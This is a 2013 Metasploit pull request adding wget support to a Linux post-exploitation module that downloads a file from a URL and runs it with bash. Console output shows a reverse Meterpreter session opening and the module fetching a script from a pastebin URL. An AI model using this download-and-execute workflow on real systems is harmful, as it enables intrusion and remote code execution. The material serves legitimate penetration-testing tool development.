rapid7/metasploit-framework — pull request #1622 by dougsko (2013-03-21 04:24:52+00:00)
Title: wget support for post/linux/manage/download_exec

The module looks for wget in $PATH if curl isn't found.

```
msf post(download_exec) > info

Name: Linux Download Exec
Module: post/linux/manage/download_exec
Version: 0
Platform: Linux
Arch:
Rank: Normal

Provided by:
Joshua D. Abraham

Description:
This module downloads and runs a file with bash. It first tries to
uses curl as its HTTP client and then wget if it's not found. Bash
found in the PATH is used to execute the file.
```

```
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.0.136:4444
[*] Starting the payload handler...
msf exploit(handler) > [*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 10.0.0.100
[*] Meterpreter session 1 opened (10.0.0.136:4444 -> 10.0.0.100:41524) at 2013-03-21 00:02:02 -0400

msf exploit(handler) > use post/linux/manage/download_exec
msf post(download_exec) > set session 1
session => 1
msf post(download_exec) > set url 'http://pastebin.com/raw.php\?i=RkVqNudD'
url => http://pastebin.com/raw.php\?i=RkVqNudD
msf post(download_exec) > show options

Module options (post/linux/manage/download_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
URL http://pastebin.com/raw.php\?i=RkVqNudD yes Full URL of file to download.

msf post(download_exec) > exploit

[*] Checking if curl exists in the path...
[!] curl not available on the $PATH, checking for wget...
[*] Checking if wget exists in the path...
[+] wget available, going ahead...
[*] 10.1.0.25 - Meterpreter session 1 closed. Reason: Died
[-] Post interrupted by the console user
[*] Post module execution completed
msf post(download_exec) >
```